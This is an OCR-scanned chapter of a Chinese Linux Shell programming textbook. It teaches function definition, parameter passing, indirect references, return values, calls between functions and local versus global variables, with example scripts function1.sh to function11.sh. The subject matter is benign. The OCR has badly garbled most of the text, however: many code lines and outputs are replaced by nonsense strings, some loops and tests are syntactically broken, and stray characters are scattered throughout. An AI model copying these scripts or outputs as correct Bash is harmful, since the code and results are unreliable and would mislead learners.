把 大 的 命令 集合 分 解 成 若干 较 小 的 任务 ， 编 程 人 员 可 以 基于 函数 进 数 
步 构造 更 复杂 的 Shell 程序 ， 而 不 需要 重复 编写 相同 的 代码 。 在 Linux 2 
Shell 中 ， 所 有 的 函数 定义 都 是 平行 的 ， 即 不 允许 在 函数 体内 再 定义 其 时 















































他 的 函数 ， 但 允许 函数 之 间 相 互 调用 。 本 章 从 函数 的 定义 和 基本 知识 
着 手 ， 讲 解 函 数 参数 调用 、 函 数 返回 值 、 局 部 变量 和 全 局 变量 ， 并 重 
点 介绍 函数 间 的 相互 调用 和 函数 递归 调用 。 
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1 1 和 人 



































和 其 他 的 编程 语言 相 比 ，Linux Shell 中 也 有 函数 ， 但 对 其 实现 方面 做 了 某 些 限制 ， 比 如 ， 

在 Linux Shell 中 函数 的 返回 值 只 能 为 退出 状态 0 或 1。 函数 是 一 串 命 令 的 集合 ， 如 果 脚 本 中 

有 重复 代码 时 ， 可 以 考虑 使 用 图 数 。 下 面 给 出 了 Linux Shell 中 函数 的 基本 形式 : 
EUnmetTeonEnarmeiw 


{ 













































































command1l1 
command2 


commandN 


} 
其 中 ， 标 题 为 函数 名 ， 函 数 体 是 函数 内 的 命令 集合 ， 在 编写 脚本 时 要 注意 标题 名 应 该 唯 
一 ， 如 果 不 唯 一 ， 脚 本 执行 时 会 产生 错误 。 函 数 在 命名 时 也 可 以 写成 如 下 形式 : 


funetskionEneme lt 




































































commandl1 
command2 


commandN 


} 

在 函数 名 前 可 以 加 上 关键 字 fonction, 但 加 上 和 省 略 关 键 字 fonction 对 脚本 的 最 终 执行 不 

产生 任何 有 影响。 函数 体 中 的 命令 集合 必须 含有 人 至少 一 条 命令 ， 即 函数 不 允许 空 命令 ， 这 一 点 

和 C 语言 不 同 。 通 数 之 间 可 通过 参数 、 函 数 返 回 值 通信 ， 函 数 在 脚本 中 出 现 的 次 序 可 以 是 任 

意 的 ， 但 是 必须 按照 脚本 中 的 调用 次 序 执行 这 些 函数 。 
下 面 的 例 13-1 在 脚本 中 定义 了 一 个 简单 函数 hello， 该 函数 中 仅 有 一 条 语句 ， 新 建 脚本 

function1.sh， 该 脚本 的 内 容 如 下 : 


例 13-1: functionl.sh 演示 了 一 个 简单 的 函数 调用 过 程 
Wee 



































































































































建立 一 个 简单 的 函数 hello 
hello() 





echo “Hello everyone!™" 








调用 hello 函数 
seheo Nowr eolneo to run eunetlonenele( 
hello 





提示 结束 函数 调用 


echo "end the function hello()" 

例 13-1 中 的 脚本 function1.sh 实现 了 一 个 简单 的 函数 ， 首 先 显 示 “Now going to run 
function”， 接 着 执行 hello 函数 ， 函 数 执行 时 返回 “Hello everyone!”， 函 数 执行 完成 后 返 
回 “end the function hello()”， 脚 本 执行 结果 如 下 : 
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例 13-1 中 function1.sh 脚本 的 执行 结果 
leeooeeloealhnost eneter ll tne elem sl 
Newrocannesecon run tunet nner 


Hello everyone! 
end the function hello() 
[root@localhost chapterl3]# 


却 本 function1.sh 是 从 自己 的 顶部 开始 执行 , 这 一 点 与 其 他 脚本 程序 没什么 区 别 。 但 当 它 
遇见 “hello0{” 结 构 时 ， 知 道 定 义 了 一 个 名 为 hello 的 函数 ， 而 且 它 会 记 住 hello 代表 着 一 个 
函数 ， 并 执行 函数 体 中 的 命令 ， 直 到 出 现 “} ”字符 ， 因 为 “} ”代表 了 函数 体 结束 。 当 执行 
到 单独 的 行 hello 时 ,Shell 就 知道 应 该 去 执行 刚才 定义 的 函数 了 , 当 这 个 函数 执行 完毕 以 后 ， 
执行 过 程 会 返回 到 该 行 的 后 面 继续 执行 其 他 命令 或 函数 。 

在 Shell 中 不 需要 声明 就 可 直接 定义 函数 ， 但 是 在 调用 函数 前 需 对 它 进 行 定义 。 由 于 所 
有 的 脚本 程序 都 是 从 顶部 开始 执行 的 ， 所 以 ， 需 要 首先 定义 函数 ， 然 后 才能 对 函数 进行 调用 ， 
以 此 来 保证 函数 能 被 正常 使 用 。 下 面 的 例 13-2 是 一 个 在 循环 中 调用 函数 的 例子 ， 新 建 脚本 
function2.sh， 脚 本 内 容 如 下 : 


# 例 13-2: function2. sh 脚本 实现 在 循环 中 调用 函数 
#!/bin/bash 











































































































































































































# 该 函数 用 于 在 一 行 中 显示 1 2 3 4 5 
output () 
{ 
for(( numl = {3 numl <= Sr namlt+ YY 
do 
echo -n "$numl " 
done 
1 


# 在 循环 中 调用 函数 

let "num2=1" 

while [ "$num2" -le 5 ] # 执 行 循环 体 
do 





output # 调 用 函数 
echo "" # 换 行 
let "i=i+1" 

done 


在 脚本 function2.sh 的 函数 output 中 实现 了 每 行 显示 1~5， 然 后 在 脚本 中 使 用 循环 将 函 
数 output 调用 了 5 次 ， 下 面 是 脚本 的 执行 结果 : 


例 13-2 中 function2.sh 脚本 的 执行 结果 
ECOEQIGCECSHIS SS 力 ET 二 天 本 人 DOSETECESH 
2 5 
2030405 
2 045 
2 5 
2 3 是 45 
root@localhost chapterl3]# 


在 例 13-2 中 ， 脚 本 function2.sh 中 孙 数 output 使 用 for 循环 实现 在 每 一 行 中 显示 数字 “1 
23 45”, 然后 通过 while 循环 调用 了 5 次 output 函数 ,显示 5 行 “12345”, 并 且 通 过 echo 
命令 实现 换行 。 可 以 看 出 ， 在 Linux Shell 中 允许 循环 多 次 调用 函数 ， 同 样 ， 在 让 语句 和 case 
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语句 等 判断 中 也 可 调用 冰 数 。 在 编写 Shell 脚本 时 ， 如 果 在 循环 或 判断 中 存在 大 量 重 复 的 代 











可 以 考虑 将 这 些 代 码 放 在 函数 中 来 减少 代码 长 度 ， 这 是 函数 的 重要 功能 。 
判断 当前 目录 下 存在 多 少 个 文件 和 子 目录 是 Shell 编程 经 常 遇 到 的 情况 之 一 。 下 面 的 例 
































13-3 就 是 一 个 判断 该 情况 的 例子 ， 新 建 脚 本 function3.sh， 脚 本 内 容 如 下 : 








例 13-3: function3.sh 用 函数 来 显示 当前 目录 中 存在 多 少 个 文件 和 多 少 个 子 目 录 
1/bin/pash 
































判断 当前 目录 中 存在 多 少 个 文件 和 多 少 个 子 目录 


directory() 
































let "filenum = 0"™ 
let “dirnum = 0" 














显示 当前 目录 下 所 有 的 子 目 录 和 文件 ， 并 使 用 echo 换行 
Ts 9 
Echo 本 
































使 用 for 循环 判断 当前 子 目 录 和 文件 的 个 数 
Fore er 






































do 
a lea 
then 
eto en rm emma ey # 判 断 为 子 目录 ， 录 个 数 加 1 
else 
Vee ee # 判 断 为 文件 ， 文 件 个 数 加 1 
下 二 
done 





# 使 用 echo 命令 显示 当前 目录 下 的 子 目 录 和 文件 个 数 


echo “The number of directories is $dirnum" 














echo “The number of files is $filenum" 


} 


# 脚 本 中 调用 函数 


Cureeteory 


function3.sh 中 首先 定义 了 一 个 directory 函数， 该 函数 首先 定义 了 两 个 变量 flenum 和 


























dirnum， 用 于 记录 文件 的 个 数 和 子 目录 个 数 ， 然 后 通过 ls 命令 显示 当前 目录 下 的 文件 和 子 目 
































通过 for 循环 逐个 调用 当前 目录 下 的 文件 和 子 目 录 ， 接 着 通过 -d 命令 判断 是 否 是 目录 ， 








类 半 




















果 是 ， 则 dirnum 加 1， 否则 filenum 加 1, 通过 不 断 地 循环 ,就 可 得 出 当前 日 录 下 文件 的 个 





























笋 和 子 目 录 个 数 。 最 后 脚本 调用 函数 directory， 在 chapter13 目录 中 执行 脚本 function3.sh， 





\ 








果 如 下 : 

#13-3 中 function3. sh 脚本 的 执行 结果 
[eotonloealnos denastealolm .unetlionsn sn 
filel.sh Eunetnon2ssn unetrond sm 
Fme elem ne ne tom 








The number of directories is 0 
The number of files is 5 
[root@localhost chapterl3]# 


可 以 看 出 ， 在 目录 chapter13 中 存在 5 个 文件 、0 个 子 目 录 。 在 脚本 function3.sh 中 ， 也 
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数 directory 使 用 for 循环 来 查找 当前 目录 下 的 所 有 文件 和 子 目 录 ， 而 通过 让 来 判断 该 目录 下 
哪个 是 文件 、 哪 个 是 子 目录 。 


向 画 数 传递 参数 人 


在 bash Shell 编程 中 ， 向 函数 传递 的 参数 仍然 是 以 位 置 参数 的 方式 来 传递 的 ， 而 不 能 传 
递 数组 等 其 他 形式 变量 , 这 与 C 语言 或 Java 语言 中 的 函数 传递 是 不 同 的 。 第 6 章 已 经 介绍 过 
位 置 参数 的 基本 概念 和 用 法 ， 在 此 ， 我 们 举 几 个 例子 说 明 位 置 参 数 在 函数 中 的 用 法 。 首 先 ， 
请 看 下 面 的 例 13-4， 该 例 说 明 如 何 向 函数 传递 参数 ， 以 及 传递 前 后 数值 的 变化 情况 ， 新 建 脚 
本 function4.sh， 脚 本 内 容 如 下 : 


# 例 13-4: 脚本 function4.sh 用 于 说 明 函 数 如 何 传递 参数 和 传 值 前 后 的 变量 值 如 何 变化 
#!/bin/bash 






































































































































# 该 函数 实现 将 n 的 值 减 半 
























































half ty 
{ 
Tae Wa SS CY # 将 参数 传递 给 n 
let "n = n/2" # 让 n 的 值 减 半 
eehney rn Fumet lon nel se bm 
函数 调用 
SEN 
SCORURESROFEEEENEEROEETCT nal i al mn Dm # 显 示 函 数 调 用 前 m 值 
half $m # 显 示 函 数 调用 时 m 值 
eenemu a ee ne ee # 显 示 函 数 调 用 后 m 值 
列 13-4 的 function4.sh 脚本 定义 fialf 函数 ，half 函数 可 以 带 一 个 参数 $1，$1 在 half 函数 








内 减 半 ; 接着 ，function4.sh 脚本 分 别 输出 传递 给 half 函数 的 参数 在 函数 调用 前 、 调 用 时 以 及 
调用 后 的 结果 。 下 面 给 出 例 134 中 function4.sh 脚本 的 执行 结果 : 
例 13-4 中 function4.sh 脚本 的 执行 结果 

root@localhost chapter13]# ./function4.sh 10 

Betore the funetron nolne Lis eolled nm ns uo 



































mm nm es 
After the function half() is called, m is 10 
root@localhost chapterl3]# 


却 本 function4.sh 中 调用 函数 half， 参 数 m 值 为 10， 传 递 给 函数 half 中 的 n，n 复 天 
的 值 ， 故 n 的 初始 值 是 10， 经 除 2 操作 后 ，a 的 值 改写 为 5， 但 是 m 在 函数 执行 后 的 值 # 
有 随 着 n 值 的 改变 而 改变 ， 其 值 仍 然 是 10， 如 图 13-1 所 示 。 
由 脚本 function4.sh 的 执行 结果 可 以 看 出 ， 函 数 的 参数 复制 的 是 调用 时 对 应 的 参数 值 ， 
而 函数 通过 一 些 命 令 可 以 对 参数 进行 运算 或 处 理 ， 仅 改变 函数 内 参数 的 值 ， 但 不 会 影响 原 
参数 的 值 。 
下 面 举 一 个 复杂 点 的 例子 加 深 对 函数 参数 传递 的 理解 ， 例 13-5 中 的 脚本 function5.sh 用 
于 实现 两 数 的 四 则 运算 ， 新 建 脚本 function5.sh， 脚 本 内 容 如 下 : 














痊 旧 





























> 


























































































































Tt 
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# 例 13-5: function5.sh 用 于 实现 两 数 加 、 减 、 乘 和 除 


as 





m 值 























10 








n 值 


(a) 脚本 调用 half 函数 时 m 的 值 传递 给 n 





> 
10 


m 值 














n 值 


(b) 在 half 函数 中 的 值 已 经 改变 成 5， 但 m 的 值 不 改变 
13-1” 档 数 参 数 传递 情况 





# 函 数 实现 两 数 加 、 减 、 乘 和 除 四 则 运算 


eoune 


{ 


# 判 断 参数 个 数 是 否 不 

















if [ $# -ne 3 ] 
then 
echo "The number of arguments is not 3! " 


FE 


Let ns = 0% 


Case 20 


a 











9 则 运算 








等 于 3， 不 等 于 3 表示 输入 参数 错误 


Mae We Sg Ke 


Eee 


) 


三 WE 


la Va SS HL WY We 


ET EN 


Ne 


= Egg 


let "s = $1 * $3" 
echo “$1 * $3 


WY) 


SS EWE 


let "s = $1 / $3" 


School 本 全 Sas 


3 


二 和 


Sene Wot oun eS wen 


esac 
1 
# 提 示 输 入 的 


echo "Please type your word: ( e.g. 1+1) 


# 读 取 输 入 的 参数 


reacyonbe 


count $a $b $c 


在 function5.sh 中 ， 





m 





# 提 示 输 入 参数 个 数 错误 


加 操 


广 
?3 











除 


注 l 























化 清 








远见 教 














集团 





首先 定义 了 一 个 函数 count， 该 函数 用 于 判断 输入 的 参数 是 否 是 3 个 ， 
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如 果 不 是 ， 则 输出 “The number of arguments is not 31”， 表 示 参 数 输入 个 数 不 正 确 ， 当 输 
入 的 参数 正确 时 ， 将 执行 case 语句 ， 该 语句 通过 判断 第 二 个 参数 是 加 、 减 、 乘 、 除 中 的 哪 种 
运算 来 执行 不 同 的 操作 ， 如 果 参 数 格 式 输入 不 正确 ， 则 输出 语句 “What you input is wrong!”。 
在 函数 count 外 通过 “Please type your word: (e.g. 1+1)” 提 示 用 户 输 入 三 个 参数 ， 通 过 read 
命令 读 取 三 个 参数 ， 最 后 调用 函数 count 和 三 个 参数 来 产生 输出 ， 脚 本 function5.sh 的 执行 结 
























































# 例 13-5 中 function5 .sh 的 执行 结果 
[root@localhost chapter13]# ./function5 .sh 





Please type your word: ( e.g9. 1】 + 1) 
2 

2 "3S 

[root@localhost chapter13]# ./function5.sh 
please Evoe veourword: (es gr 
1/5 

T5003 


[root@localhost chapter13]# 

在 脚本 function5.sh 中 ， 函 数 count 通过 判断 第 二 个 参数 是 加 、 减 、 乘 、 除 中 的 哪个 运算 
符 来 执行 不 同 的 操作 。 在 执行 该 脚本 的 过 程 中 ， 要 注意 参数 与 参数 之 间 需 用 空格 隔 开 ， 和 否则 
就 会 将 其 视 为 一 个 参数 而 产生 错误 。 在 参数 输入 的 过 程 申 ， 要 注意 当 为 除 运 算 时 ， 第 三 个 参 
数 不 能 为 0 的 情况 ， 大 家 可 以 尝试 输入 一 下 该 操作 ,查看 输出 结果 。 

在 Linux Shell 编程 中 ,函数 还 可 传递 间接 参数 , 但 该 方式 的 传递 方式 远 远 没有 C 语言 和 
Java 语言 灵活 ， 只 能 使 用 第 9 章 所 述 的 间接 变量 引用 来 传递 参数 ， 这 种 方式 是 一 种 笨拙 的 间 
接 参数 传递 方式 。 下 面 的 例 13-6 说 明 函 数 如 何 利用 间接 变量 引用 来 传递 参数 ， 新 建 脚 本 
function6.sh， 脚 本 内 容 如 下 : 


例 13-6: function6.sh 演示 了 函数 如 何 传递 间接 参数 
W/o/ eas 
































Sn 









































用 于 显示 参数 值 


rel ue 二 


eecno "$1" 











设置 间接 参数 
Earsemeeesr nes 
EN 


# 显 示 直 接 的 参数 


ind func "$parameter" 


# 显 示 间 接 参数 
ind func "${! parameter }" 


echo 到 类 大 大 类 大 大 大 大 大 大 大 大 大 大 大 大 大 大 大 大 大 大 大 可 


# 改 变 ind_arg 值 后 的 情况 
ind arg=World 

ind func "$parameter" 
ind func "${!parameter}" 
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将 变量 
ind_ func 输出 直接 参数 parameter 的 值 ， 再 次 调 
parameter 的 间接 参数 值 。 
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接着 改变 ind_ arg 的 值 



































电 ${1 parameter } 输 出 





在 脚本 function6.sh 中 ，ind_func 函数 用 于 输出 参数 。 在 执行 脚本 function6.sh 的 过 程 中 ， 
ind_ arg 赋值 给 了 parameter， 同 时 将 变量 hello 赋值 给 了 ind_arg， 然 后 通过 调用 函数 


用 函数 ind_arg 使 用 变量 


LH 





为 world， 可 以 看 出 ，parameter 变量 的 间接 











参 








数值 也 随 

















列 


下 
并 雇 
He 
类 尖 
2 
Wo 






































13-6 中 function6.sh 脚本 的 执行 结果 


ootelocalnost eae te fume ten 





darg 
he 


次 


Nang 
ia 


root@localhost chapterl3]# 


在 例 13-6 中 ， 脚 本 function6.sh 将 变量 
武 值 给 了 ind_arg， 这 种 赋值 机 制 和 C 语言 中 的 赋值 
武 值 传递 ， 但 Linux Shell 脚本 编程 使 用 间接 变量 


人 3 区 





































































































Eind arg 由 











武 值 




















ind_arg 的 值 改 变 前 parameter 变量 的 直接 参数 值 和 间接 参数 值 


ind_arg 的 值 改 变 前 parameter 变量 的 直接 参数 值 和 间接 参数 值 


发 生 了 改变 。 脚 本 function6.sh 的 执行 结果 如 下 : 





























量 需 使 用 变量 



































给 了 parameter， 然 后 又 将 变量 
是 有 些 差 别 的 ， 在 








EC 语 言 品 
电 $ flparameter} 来 实现 。 











E hello 
仅仅 相当 于 


站 





















































有 时 需要 脚本 执行 完成 后 返 书 特 宠 鬼 信 来 完成 嘲 本 的 后 继 操作 ， 这 些 特 定 的 值 就 是 函数 
返回 值 。 在 Linux Shell 编程 中 ， 消 数 通 过 retum 返回 其 退出 状态 ，0 表示 无 错误 ，1 表示 有 
错误 。 在 脚本 中 可 以 有 选择 地 使 用 return 语句 ， 因 为 函数 在 执行 完 最 后 一 条 语句 后 将 执行 调 
用 该 函数 的 地 方 执行 后 续 操 作 。 

下 面 的 例 13-7 说 明了 return 语句 如 何 使 用 , 同时 显示 了 如 何 根 据 返 回 值 的 不 同 输出 不 同 
的 结果 ， 新 建 脚 本 function7.sh; 脚本 内 容 如 下 : 
# 例 13-7: function7.sh 用 于 根据 用 户 输入 显示 星期 





#!/bin/bash 





# 使 用 return 语句 的 函数 


show week () 


{ 


eehes nm Wet von ts: 
echo "$1" 


# 根 据 输入 的 参数 值 来 显示 不 同 的 操作 


case $1 in 


0) 
senom Loeerv eenmeler 
LS ne Oe 

1) 
echeon odey is Monmeay oy 
A en (Oa 

2) 





从 


远见 教 
































官网 : www. hqyj. com 








} 
# 
生 


全 


fj 


已 


W 


W 











示 执 
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mm 


echo “Today is Tuesaay 
"ev ven (0 

echo "Today is Wednesday. " 
Fetenemn os 

eeheon odey es Enueseooy ey, 
SEE 人 > 

esene uocev ES 
ES 


mr 








sene Tocev 二 本 SS 
ESEUEO 

小 
Eeturmn 1 

esae 




















主 程序 部 分 根据 返回 值 不 同 输出 不 同 的 结果 
f show week "$1" # 在 if 中 调用 函数 
hen 

Scene wo oo rime # 提 示 参 数 输 入 正确 
lse 

senoy waco en on # 提 示 参 数 输 入 错误 
2 
> 0 














列 13-7 中 脚本 function7.sh 的 执行 结果 如 下 : 











列 13-7 中 脚本 function7. sh 的 执行 结果 
当 return 为 0 时 的 输出 结果 
nooreeloealheos ce ea em tome elon sl 
mee Wow tinovie ee 1 








Today nsoMongday 


neve We Tmo Te ere 

当 return 为 1 时 的 输出 结果 

root@localhost chapter13]# ./function7.sh 10 
halemvou inneu ess 











haeqvou rn rs wen 
root@localhost chapterl13]# 








在 脚本 function7.sh 中 ，show_week 函数 使 用 return 语句 ，return 语句 返回 企 














本 图 数 show_week 时 输入 的 命令 行 参 数 是 正确 的 ; 当 return 语句 不 为 0 时 ， 














为 0 时 ， 表 
表示 执行 函 


数 show_week 时 输入 的 命令 行 参数 是 错误 的 。 在 函数 外 通过 if/else 语句 判断 来 显示 不 同 函 数 
的 返回 值 对 应 不 同 的 输出 。 





























人 34 区 站 


在 Linux Shell 脚本 








数 调用 多 个 冰 数 ， 下 面 将 对 这 些 内 容 进行 详解 。 





pa 
sa 




















可 以 同时 放置 多 个 函数 ， 函 数 之 间 允 许 相互 调用 ， 而 且 允 许 一 个 函 
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13.4.1 脚本 放置 多 个 函数 


13-8 


show_number 在 一 行内 输出 1 一 7 七 个 数 ， 而 函数 show_ square 则 输出 0 一 7 的 平方 对 应 值 


然后 











可 以 在 脚本 中 放置 多 个 函数 ， 脚 本 执行 时 按照 调用 函 数 的 顺序 执行 这 些 函 数 。 下 面 的 例 
说 明 在 脚本 中 如 何 放置 多 个 函数 ， 新 建 脚本 function8.sh， 脚 本 内 容 如 下 : 


# 例 13-8: function8.sh 实现 了 在 脚本 中 放置 多 个 函数 
#!/bin/bash 





















































# 该 函数 在 一 行 
show week () 


{ 


中 显示 周一 到 周 








PE 





for day in Monday Tuesday Wednesday Thursday Friday Saturday Sunday 
do 
echo -n "$day " 
done 


} 








# 该 函数 在 一 行 中 显示 1 一 7 
show number () 
{ 
for(( integer = 1; integer <= 7; integer++ )) 
do 
echo -n "$integer ™ 
done 


} 


# 该 函数 用 于 显示 1 一 7 的 平方 
snmowns oere rl 
{ 











i=0 

ee # 通 过 until 实现 1 一 7 的 平方 运算 和 结果 输出 
do 

Jet "square=i*i" 

echo "$i * $i = $square" 

Let 1TT 工 十 十 
done 
} 

顺序 执行 函数 


how week() 
how_ number () 








# 
入 
局 
show Square () 
了 


E 函 数 function8.sh 中 ， 困 数 show_ week 显示 周一 至 周 日 所 对 应 的 英文 翻译 ， 函 数 









































芭 本 function8.sh 按照 先后 顺序 分 别 调用 show_week、show_number 和 show square 三 个 
， 脚 本 function8.sh 的 执行 结果 为 : 
例 13-8 中 function8 .sh 脚本 的 执行 结果 
Ee@oElecannmesE enantealen .unetrions sn 
输出 调用 函数 show_week 后 的 结果 
Monday Tuesday Wednesday Thursday Friday Saturday Sunday 
输出 调用 函数 show_numbet 后 的 结果 
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ER SI 
# 输 出 调用 函数 show square 后 的 结果 
C0 
ll 
2*2=4 
392033=39 
4*4=16 
3 3 

6 有 6 证 三 得 2 
全 三 本 4 

[ 


root@localhost chapterl13]# 


在 脚本 function8.sh 中 可 以 看 出 ， 首 先 调用 show_week 函数 ， 然 后 调 月 








日 show_number 函 











最 后 调用 show_square 函数 。 从 执行 结果 可 以 看 出 ， 函 数 执行 顺序 和 























用 的 顺序 是 一 致 


大 家 可 以 尝试 着 改变 这 三 个 函数 的 调用 顺序 ， 看 一 看 执行 结果 是 否 发 生变 化 。 





13.4.2 ” 男 数 相互 调用 
在 Linux Shell 编程 中 ， 函 数 之 间 可 以 相互 调用 ， 调 用 时 会 停止 当前 运行 的 函数 转 去 运行 








被 


| 




































































实现 函数 相互 调用 ， 新 建 脚本 function9.sh， 脚 本 内 容 如 下 : 


例 13-9: function9.sh 实现 函数 相互 调用 
/mn ea 


函数 执行 显示 输入 参数 的 平方 


square () 





echo "Please input the num: ™ 
read numl 


let "squ=numl * numl™" 


eeney scmare eetnom Ps. 
} 


# 函 数 执行 显示 输入 参数 的 立方 

Cube'() 
echo "Please input the num: ™ 
read num2 


let "c=num2 * num2 * num2" 
eenoW "couseoe nom2 Ss ey 
} 


# 函 数 执行 显示 输入 参数 的 窜 次 方 

power () 
echo "Please input the num: ™ 
read num3 
echo "Please input the power: " 
































村 


用 的 函数 ， 直 到 调用 的 函数 运行 完 ， 再 返回 当前 冰 数 继续 运行 。 下 面 的 例 13-9 说 明 如 何 
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read Bp 


let "temp = 1" 
for (( i=1l; i <= $p; i++ )) 
do 
let "temp=temp*num3" 
done 
echo “power $p of $num3 is $temp. ™ 


} 


# 选 择 调用 的 函数 
echoice() 
{ 


echo "Please input the choice of operatel(s for square; C for cube and p for power): 
read char 














# 判 断 输 入 的 参数 是 哪个 ， 然 后 根据 输入 的 不 同 执行 不 同 的 函数 
case $char in 
s) 
square # 执 行 平方 函数 
c) 
ES # 执 行 立 方 函 数 
p) 
power;; # 执 行 容 运 算 
9 
Emo We vou nou lS wn 
esac 
} 
# 调 用 函数 choice 
choice 











在 脚本 function9.sh 中 ， 定 义 了 四 个 函数 , -其 中 square 函数 用 于 计算 平方 运算 ，cube 函 




















数 用 于 计算 立方 运算 ，power 函数 用 于 计算 过 运算 ， 而 choice 函数 通过 case 语句 进行 参数 选 
调用 其 他 三 个 函数 中 的 一 个 ， 根 据 输入 参数 的 不 同 而 执行 不 同 的 操作 。 脚 本 function9.sh 
的 执行 结果 如 下 : 











# 例 13-9 中 function9. sh 脚本 的 执行 结果 

首次 执行 脚本 function9.sh， 在 函数 choice 中 调用 cube 函数 执行 立方 运算 

rootQlocal nost ena te /ne tm 

lease input the choice of operatel(s for square; C for cube and p for power): 




















lease input the num: 


Cuseroem es 2 
再 次 执行 脚本 function9 .sh， 在 函数 choice 中 调用 square 函数 执行 寡 运 算 
ooteloealhnost emnapterlelt /Emme tom 




















lease input the choice of operatel(s for square; C for cube and p for power): 





lease input the power: 


ower 4 of 2 is 16. 
root@localhost chapterl3]# 


在 执行 脚本 function9.sh 时 ， 首 先 选 择 执行 了 3 的 立方 ， 得 日 


# 
[ 
Bl 
p 
Please input the num: 
昌 
el 
4 
p 
[ 











果 为 27， 接 着 再 次 执行 


Fm 
Dy 
Hh 


鼠 
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脚本 function9.sh， 计 算 了 2 的 4 次 宗 ， 计 算 结果 为 16。 


13.4.3 “一 个 图 数 调 用 多 个 国 数 

在 Linux Shell 编程 中 ， 允 许 一 个 函数 调用 多 个 函数 ， 在 该 函数 调用 其 他 函数 时 同样 需要 
按照 调用 的 顺序 来 执行 调用 的 函数 。 下 面 的 例 13-10 讲解 如 何 实现 一 个 函数 调用 多 个 函数 ， 
新 建 脚本 function10.sh， 脚 本 内 容 如 下 : 


例 13-10: function10.sh 用 于 显示 一 个 不 多 于 5 位 的 正 整数 的 位 数 ， 并 按 顺 序 显示 各 个 数位 的 值 
!/bin/bash 












































瑟 














该 函数 实现 显示 整数 位 数 
eounEroreine, 



































if [$1 -gt 9999 ] 当 该 数 的 值 大 于 9999 时 ， 表 示 该 数 为 5 位 数 
then 
let "place=5" 
elif [$1 -gt 999 ] 当 该 数 大 于 999 而 小 于 9999 时 ， 表 示 该 数 为 4 位 数 
then 
let "place=4" 
elif [$1 -gt 99 ] 当 该 数 大 于 99 而 小 于 999 时 ， 表 示 该 数 为 3 位 数 
then 
let "place=3" 
elif [$1 -gt 9 ] 当 该 数 大 于 9 而 小 于 99 时 ， 表 示 ， 该 数 为 2 位 数 
then 
let "place=2" 
Sse 当 该 数 为 大 于 等 于 0 而 小 于 等 于 9 时 ， 表 示 该 数 为 1 位 数 
let "place=1" 
二 
echo "The place of the $1 is $place." # 输 出 该 数 的 位 数 





} 


# 该 函数 实现 显示 该 整数 每 个 数位 上 的 数字 
mi 二 


{ 





let “ten thousand = $1/10000" 
let "thousand =$1/1000%10" 
let “hundred = $1/100%10" 

let "ten = $1%100/10" 

ee lao = ly 





# 当 输入 万 位 上 的 数 不 等 于 0 时 ， 表 示 该 数 为 5 位 数 ， 需 输出 万 、 千 、 百 、 十 、 个 位 
uelpeengenousana neeon 
then 
echo "$ten thousand $thousand $hundred $ten $indiv" 
# 当 输入 万 位 上 的 数 等 于 0 时 而 于 位 不 等 于 0， 表 示 该 数 为 4 位 数 ， 需 输出 干 、 百 、 十 、 个 位 
elif [$thousand -ne 0 ] 
then 
echo "$thousand $hundred $ten $indiv" 
# 当 输入 万 位 和 千 位 的 数 等 于 0 时 而 百 位 不 等 于 0， 表 示 该 数 为 3 位 数 ， 需 输出 百 、 十 、 个 位 
elif [$hundred -ne 0 ] 
then 
echo "$hundred S$ten $indiv" 
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# 当 输入 万 、 千 和 百 位 的 数 等 于 0 时 而 十 位 不 等 于 0， 表 示 该 数 为 2 位 数 ， 需 输出 十 、 个 位 
elif [$ten -ne 0 |] 
then 
echo "$ten $indiv" 
# 其 他 状态 时 输出 个 位 数 


else 























Sener Pinarn 
fe 
} 


# 调 用 函数 count of int 和 num of int 
Show () 


{ 
echo "Please input the number (1-99999) : " 





read num 
countnocine oa # 显 示 输 入 参数 的 位 数 
num of int $num # 显 示 输 入 参数 的 各 数位 值 
} 
# 脚 本 中 调用 函数 
Show 


在 脚本 function10.sh 中 定义 了 三 个 函数 ， 其 牛 函 数 count of int 用 于 显示 输入 参数 的 位 
数 ,函数 num_ of int 用 于 显示 输入 参数 各 数位 的 值 ;而 函数 show 则 同时 调用 函数 count of int 
和 函数 num_of int。 该 脚本 是 从 调用 show 函数 开始 执行 ， 在 执行 show 函数 时 首先 通过 echo 
语句 “Please input the number (1-99999) :提示 输入 1 一 99999 之 内 的 一 个 数 ， 然 后 调用 函 
数 count_ of int 显示 命令 行 参数 的 位 数 ， 有 最 后 调用 函数 num_ of int 显示 命令 行 参数 的 各 数位 
的 值 。 脚 本 function10.sh 的 执行 结果 为 : 


例 13-10 中 function10.sh 脚本 的 执行 结果 
ootelocalhnost enapterlelt eumetonmlo Ns 
Please input the number (1-99999) : 

8567 

Tne olace ofthe 96 ls 4 

2550 69 

root@localhost chapterl3]# 


在 function10.sh 脚本 执行 的 过 程 中 输入 了 数字 8$67， 通 过 执行 该 脚本 ， 显 示 该 数 是 4 位 
数 ， 按 位 显示 结果 为 “8 5 6 7”。 


19.5 Pe 站 


在 Linux Shell 编程 中 ， 可 以 通过 local 关键 字 在 Shell 函数 中 声明 局 部 变量 ， 局 部 变量 将 
局 限 在 函数 范围 内 。 此 外 ， 函 数 也 可 调用 函数 外 的 全 局 变量 ， 如 果 一 个 局 部 变量 和 一 个 全 局 
变量 的 名 字 相 同 ， 则 在 函数 中 局 部 变量 将 会 覆盖 掉 全 局 变量 。 下 面 的 例 13-11 将 详细 解释 局 
部 变量 和 全 局 变量 的 用 法 ， 新 建 脚本 function11.sh， 脚 本 内 容 如 下 : 


# 例 13-11: function11.sh 用 于 调用 局 部 变量 和 全 局 变量 
#!/bin/bash 
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text="global Variable" 


# 函 数 中 使 用 的 局 部 变量 和 全 局 变量 的 名 字 相 同 
useBloca yar Eunl) 


{ 








local text="local variable™" 
sehey moetuneeroneusemloeaamvarnt ane 
echo $text 


} 


# 输 出 函数 use local var fun 内 的 局 部 变量 值 


eehog Execuee Enesftuneelion uelocalnvarnt un 





SS 


# 输 出 函数 use_ local var fun 外 的 全 局 变量 值 
eehey Sueoteunercnoneusenioelyari on 
echo $text 

ex 


在 脚本 function11.sh 中 ， 在 函数 外 定义 了 全 局 变量 text， 接 着 在 函数 use_local_var_fun 
内 定义 了 一 个 和 全 局 变量 text 一 样 的 变量 ,在 执行 脚本 时 ,首先 调用 了 孙 数 use_local var fun， 
执行 结果 可 以 看 出 ， 在 函数 内 显示 的 是 局 部 变量 的 值 ， 说 明 局 部 变量 覆盖 了 全 局 变量 ， 而 在 
函数 执行 完成 后 ， 在 脚本 中 显示 的 是 全 局 变量 的 值 ， 说 明 局 部 变量 只 是 在 函数 内 部 有 效 。 脚 
本 function11.sh 的 执行 结果 为 : 
例 13-11 中 function11.sh 脚本 的 执行 结果 
Eoceneoealhneos enue vne Elonl 
调用 函数 use local var fun 输出 局 部 变量 值 


